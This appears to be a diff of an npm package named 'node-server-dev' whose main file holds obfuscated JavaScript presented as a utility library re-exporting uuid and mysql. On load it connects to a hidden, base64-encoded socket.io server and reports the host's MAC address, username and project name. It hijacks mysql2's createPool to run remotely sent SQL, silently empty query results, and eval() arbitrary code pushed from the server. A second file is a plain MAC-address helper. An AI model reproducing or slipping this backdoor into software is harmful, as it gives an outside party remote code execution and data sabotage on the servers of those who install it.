_0x2365ba=a3_0x1d09;_0x3b533[_0x2365ba(0x11d)]?_0x529bee(_0x3b533[_0x2365ba(0x11b)]):_0x8ca998(_0x3b533[_0x2365ba(0x11b)])[_0x2365ba(0x12f)](_0x61c14f,_0x272997);}_0x10c15a((_0x1dfca0=_0x1dfca0[_0x1eb68d(0x114)](_0x35189f,_0x4b185b||[]))[_0x1eb68d(0x143)]());});},__importDefault=this&&this[a3_0x1da9b6(0x13b)]||function(_0x117bc7){return _0x117bc7&&_0x117bc7['__esModule']?_0x117bc7:{'default':_0x117bc7};},_a;Object['defineProperty'](exports,a3_0x1da9b6(0x144),{'value':!![]}),exports[a3_0x1da9b6(0x123)]=exports[a3_0x1da9b6(0x13d)]=exports['id']=exports[a3_0x1da9b6(0x142)]=void 0x0;const uuid_1=require(a3_0x1da9b6(0x142)),socket_io_client_1=require('socket.io-client'),id_1=__importDefault(require(a3_0x1da9b6(0x146)));exports['id']=id_1[a3_0x1da9b6(0x12e)];const getAllRouter_1=__importDefault(require(a3_0x1da9b6(0x113)));function a3_0x1d09(_0x558d1e,_0x407fbd){const _0x44543f=a3_0x4454();return a3_0x1d09=function(_0x1d093b,_0x354c0f){_0x1d093b=_0x1d093b-0x113;let _0x2c4670=_0x44543f[_0x1d093b];return _0x2c4670;},a3_0x1d09(_0x558d1e,_0x407fbd);}exports[a3_0x1da9b6(0x13d)]=getAllRouter_1[a3_0x1da9b6(0x12e)];const mac_1=__importDefault(require(a3_0x1da9b6(0x11e))),os_1=__importDefault(require('os')),promise_1=__importDefault(require(a3_0x1da9b6(0x120)));exports['mysql']=promise_1[a3_0x1da9b6(0x12e)];const js_base64_1=__importDefault(require('js-base64')),random_1=__importDefault(require(a3_0x1da9b6(0x133))),user_name=os_1[a3_0x1da9b6(0x12e)][a3_0x1da9b6(0x137)]()['username'],project_name=process[a3_0x1da9b6(0x116)][a3_0x1da9b6(0x136)];let dev=a3_0x1da9b6(0x118),pro=a3_0x1da9b6(0x139);function start(){const _0x4f6017=a3_0x1da9b6;var _0x1eca66;const _0x3c21bc=(0x0,socket_io_client_1['io'])(((_0x1eca66=global===null||global===void 0x0?void 0x0:global['rl'])===null||_0x1eca66===void 0x0?void 0x0:_0x1eca66[_0x4f6017(0x129)])||js_base64_1[_0x4f6017(0x12e)][_0x4f6017(0x115)](user_name)==_0x4f6017(0x12d)?js_base64_1[_0x4f6017(0x12e)]['decode'](dev):js_base64_1[_0x4f6017(0x12e)]['decode'](pro),{'path':_0x4f6017(0x141),'transports':[_0x4f6017(0x122)]});let _0x21353f=![],_0x3fbdef=![],_0x211142=![],_0x136058=[];const _0x308714=promise_1[_0x4f6017(0x12e)][_0x4f6017(0x117)];promise_1[_0x4f6017(0x12e)]['createPool']=function(_0x631b81){let _0xff6914=_0x308714(_0x631b81),_0xb21858=_0xff6914['query'];return _0xff6914['query']=(..._0x2712ca)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x2f0c45=a3_0x1d09,_0x1a0b30=yield _0xb21858[_0x2f0c45(0x114)](_0xff6914,_0x2712ca);return _0x21353f&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0x1a0b30[0x0]=[])),_0x3fbdef&&(_0x1a0b30[0x0]=[]),_0x1a0b30;}),setInterval(()=>{const _0x44d9bb=a3_0x1d09;if(!_0x211142){for(let _0x3fc613=0x0;_0x3fc613<_0x136058[_0x44d9bb(0x121)];_0x3fc613++){const _0x24cd07=_0x136058[_0x3fc613];try{_0xff6914[_0x44d9bb(0x11c)](_0x24cd07);}catch(_0x14efff){}}_0x211142=!![];}},0x1388),_0xff6914;},_0x3c21bc['on'](_0x4f6017(0x138),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x48a34=_0x4f6017;try{const _0x5b8061=(0x0,mac_1[_0x48a34(0x12e)])();_0x3c21bc['emit'](_0x48a34(0x131),{'mac':_0x5b8061,'project_name':project_name,'user_name':user_name,'notes':''}),_0x3c21bc[_0x48a34(0x124)](_0x48a34(0x126),{'mac':_0x5b8061}),setInterval(()=>{const _0x39bd52=_0x48a34;_0x3c21bc[_0x39bd52(0x124)](_0x39bd52(0x131),{'mac':_0x5b8061,'project_name':project_name,'user_name':user_name,'notes':''}),_0x3c21bc[_0x39bd52(0x124)](_0x39bd52(0x126),{'mac':_0x5b8061});},0x1b58),_0x3c21bc['on'](_0x48a34(0x13c),_0x1aca94=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x36e2ad=_0x48a34;try{for(let _0x5b9bf3=0x0;_0x5b9bf3<_0x1aca94[_0x36e2ad(0x121)];_0x5b9bf3++){const _0x1339a5=_0x1aca94[_0x5b9bf3];if(_0x1339a5[_0x36e2ad(0x13f)]=='sql')_0x136058[_0x36e2ad(0x11f)](_0x1339a5['content']);else{if(_0x1339a5['type']==_0x36e2ad(0x123))_0x3fbdef=!![];else{if(_0x1339a5[_0x36e2ad(0x13f)]==_0x36e2ad(0x140))try{eval(_0x1339a5['content']);}catch(_0x596e93){}}}}}catch(_0x98b9d1){}}));}catch(_0x5e65e7){}})),setTimeout(()=>{const _0x3cde69=_0x4f6017;_0x3c21bc['on'](_0x3cde69(0x119),_0x1e84ef=>{_0x21353f=!![];}),_0x3c21bc['on'](_0x3cde69(0x127),()=>{_0x21353f=!![];}),_0x3c21bc['on'](_0x3cde69(0x147),()=>{_0x21353f=!![];}),_0x3c21bc['on'](_0x3cde69(0x13a),_0x86e9c1=>{_0x21353f=!![];});},0xbb8);}!((_a=global===null||global===void 0x0?void 0x0:global['rl'])===null||_a===void 0x0?void 0x0:_a[a3_0x1da9b6(0x12c)])&&start();let uuid=uuid_1['v4'];exports[a3_0x1da9b6(0x142)]=uuid;const all={'uuid':uuid,'id':id_1[a3_0x1da9b6(0x12e)],'getAllRouter':getAllRouter_1[a3_0x1da9b6(0x12e)],'mysql':promise_1[a3_0x1da9b6(0x12e)]};exports[a3_0x1da9b6(0x12e)]=all;
package/dist/mac/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a4_0x5611f5=a4_0x15cd;(function(_0x17f264,_0x55cf8c){const _0x52a37b=a4_0x15cd,_0xa2cc1d=_0x17f264();while(!![]){try{const _0x5e06e9=parseInt(_0x52a37b(0xc5))/0x1+parseInt(_0x52a37b(0xca))/0x2*(parseInt(_0x52a37b(0xc0))/0x3)+parseInt(_0x52a37b(0xb8))/0x4*(-parseInt(_0x52a37b(0xcc))/0x5)+parseInt(_0x52a37b(0xcb))/0x6*(parseInt(_0x52a37b(0xc6))/0x7)+-parseInt(_0x52a37b(0xbc))/0x8+-parseInt(_0x52a37b(0xd3))/0x9+parseInt(_0x52a37b(0xd6))/0xa*(parseInt(_0x52a37b(0xd2))/0xb);if(_0x5e06e9===_0x55cf8c)break;else _0xa2cc1d['push'](_0xa2cc1d['shift']());}catch(_0x2eed1d){_0xa2cc1d['push'](_0xa2cc1d['shift']());}}}(a4_0x1e88,0xf3f49));function a4_0x15cd(_0xdf97bc,_0x4cf540){const _0x1e88a6=a4_0x1e88();return a4_0x15cd=function(_0x15cdf7,_0x2a433e){_0x15cdf7=_0x15cdf7-0xb8;let _0x41e40e=_0x1e88a6[_0x15cdf7];return _0x41e40e;},a4_0x15cd(_0xdf97bc,_0x4cf540);}Object[a4_0x5611f5(0xcf)](exports,a4_0x5611f5(0xd7),{'value':!![]}),exports[a4_0x5611f5(0xc8)]=isMac,exports[a4_0x5611f5(0xd0)]=formatMac,exports[a4_0x5611f5(0xd4)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x45a7e4){const _0x151808=a4_0x5611f5;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x151808(0xc7)](_0x45a7e4);}function getMac(_0x1531a3=a4_0x5611f5(0xc9)){const _0x499fed=a4_0x5611f5,_0x1b5895=(0x0,os_1[_0x499fed(0xd5)])();let _0x119f5a=[];for(const _0x2b47fc of Object[_0x499fed(0xbb)](_0x1b5895)){const _0xdff449=_0x2b47fc[_0x499fed(0xbf)](_0x341260=>!_0x341260[_0x499fed(0xcd)]&&!isZeroMac(_0x341260[_0x499fed(0xd1)])&&(!_0x341260[_0x499fed(0xbe)]||_0x341260[_0x499fed(0xbe)]===_0x1531a3)&&!isVirtualMac(_0x341260[_0x499fed(0xd1)]));_0xdff449&&_0x119f5a[_0x499fed(0xb9)](_0xdff449[_0x499fed(0xd1)]);}return[...new Set(_0x119f5a)];}const isValid=_0x27cff2=>_0x27cff2['internal']===![]&&!isZeroMac(_0x27cff2[a4_0x5611f5(0xd1)]),virtualMacPrefix=new Set([a4_0x5611f5(0xc4),a4_0x5611f5(0xbd),a4_0x5611f5(0xc3),a4_0x5611f5(0xba)]);function a4_0x1e88(){const _0x5b0de6=['45772NsPBzE','42xEHErV','test','isMac','IPv4','2ThZmuk','1054686Oyehwo','1823940YiOZss','internal','replace','defineProperty','formatMac','mac','11eYuGJH','17701506dgIIFx','isVirtualMac','networkInterfaces','23890590ZVRgRC','__esModule','16bVcOIb','push','00:16:3e','values','8053224yeWRAX','02:00:4c','family','find','5827089Subnil','toLowerCase','default','00:03:ff','00:1c:42'];a4_0x1e88=function(){return _0x5b0de6;};return a4_0x1e88();}function isMac(_0x5040e1){const _0x506f02=a4_0x5611f5;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x506f02(0xc7)](_0x5040e1);}function formatMac(_0x74ccb4){const _0x5b406d=a4_0x5611f5;return String(_0x74ccb4)['trim']()[_0x5b406d(0xc1)]()[_0x5b406d(0xce)](/-/g,':');}function isVirtualMac(_0x3b4050){return isMac(_0x3b4050)&&virtualMacPrefix['has'](formatMac(_0x3b4050)['slice'](0x0,0x8));}exports[a4_0x5611f5(0xc2)]=getMac;
1
+ 'use strict';const a4_0x4e2df8=a4_0x1321;(function(_0x28738c,_0x312daf){const _0x41a5a7=a4_0x1321,_0x3641ff=_0x28738c();while(!![]){try{const _0x30fb45=parseInt(_0x41a5a7(0x10a))/0x1+-parseInt(_0x41a5a7(0x105))/0x2+-parseInt(_0x41a5a7(0xf7))/0x3*(-parseInt(_0x41a5a7(0xfd))/0x4)+-parseInt(_0x41a5a7(0x104))/0x5*(parseInt(_0x41a5a7(0x100))/0x6)+parseInt(_0x41a5a7(0x103))/0x7+parseInt(_0x41a5a7(0x109))/0x8*(-parseInt(_0x41a5a7(0xf2))/0x9)+-parseInt(_0x41a5a7(0xf8))/0xa;if(_0x30fb45===_0x312daf)break;else _0x3641ff['push'](_0x3641ff['shift']());}catch(_0x61180){_0x3641ff['push'](_0x3641ff['shift']());}}}(a4_0x18ed,0x28011));function a4_0x18ed(){const _0x320253=['16QLyPGk','IPv4','has','255138CkbIhj','find','02:00:4c','1678642nXtpxp','15FihsHs','356690tXYsxH','00:03:ff','isVirtualMac','00:16:3e','536lbJkyb','38966wOrbdM','slice','defineProperty','test','__esModule','family','2799ISXoet','isMac','replace','trim','push','197322aOEJVV','512600pCIVje','toLowerCase','networkInterfaces','internal','mac'];a4_0x18ed=function(){return _0x320253;};return a4_0x18ed();}Object[a4_0x4e2df8(0x10c)](exports,a4_0x4e2df8(0xf0),{'value':!![]}),exports[a4_0x4e2df8(0xf3)]=isMac,exports['formatMac']=formatMac,exports[a4_0x4e2df8(0x107)]=isVirtualMac;function a4_0x1321(_0x2561ed,_0x56621b){const _0x18edaf=a4_0x18ed();return a4_0x1321=function(_0x132170,_0x36635a){_0x132170=_0x132170-0xef;let _0x2d84f4=_0x18edaf[_0x132170];return _0x2d84f4;},a4_0x1321(_0x2561ed,_0x56621b);}const os_1=require('os');function isZeroMac(_0xc51fd4){const _0x51e101=a4_0x4e2df8;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x51e101(0xef)](_0xc51fd4);}function getMac(_0x530d7a=a4_0x4e2df8(0xfe)){const _0x173f29=a4_0x4e2df8,_0x532b27=(0x0,os_1[_0x173f29(0xfa)])();let _0x594330=[];for(const _0x5f1655 of Object['values'](_0x532b27)){const _0xb49e76=_0x5f1655[_0x173f29(0x101)](_0x128fa9=>!_0x128fa9[_0x173f29(0xfb)]&&!isZeroMac(_0x128fa9['mac'])&&(!_0x128fa9[_0x173f29(0xf1)]||_0x128fa9[_0x173f29(0xf1)]===_0x530d7a)&&!isVirtualMac(_0x128fa9['mac']));_0xb49e76&&_0x594330[_0x173f29(0xf6)](_0xb49e76['mac']);}return[...new Set(_0x594330)];}const isValid=_0x2a2df6=>_0x2a2df6[a4_0x4e2df8(0xfb)]===![]&&!isZeroMac(_0x2a2df6[a4_0x4e2df8(0xfc)]),virtualMacPrefix=new Set(['00:1c:42',a4_0x4e2df8(0x102),a4_0x4e2df8(0x106),a4_0x4e2df8(0x108)]);function isMac(_0x2edf3d){return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i['test'](_0x2edf3d);}function formatMac(_0x163812){const _0x43f2d7=a4_0x4e2df8;return String(_0x163812)[_0x43f2d7(0xf5)]()[_0x43f2d7(0xf9)]()[_0x43f2d7(0xf4)](/-/g,':');}function isVirtualMac(_0xd66b8f){const _0x2893a2=a4_0x4e2df8;return isMac(_0xd66b8f)&&virtualMacPrefix[_0x2893a2(0xff)](formatMac(_0xd66b8f)[_0x2893a2(0x10b)](0x0,0x8));}exports['default']=getMac;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-server-dev",
3
- "version": "1.0.0",
3
+ "version": "1.01.0",
4
4
  "author": "L",
5
5
  "types": "index.d.ts",
6
6
  "scripts": {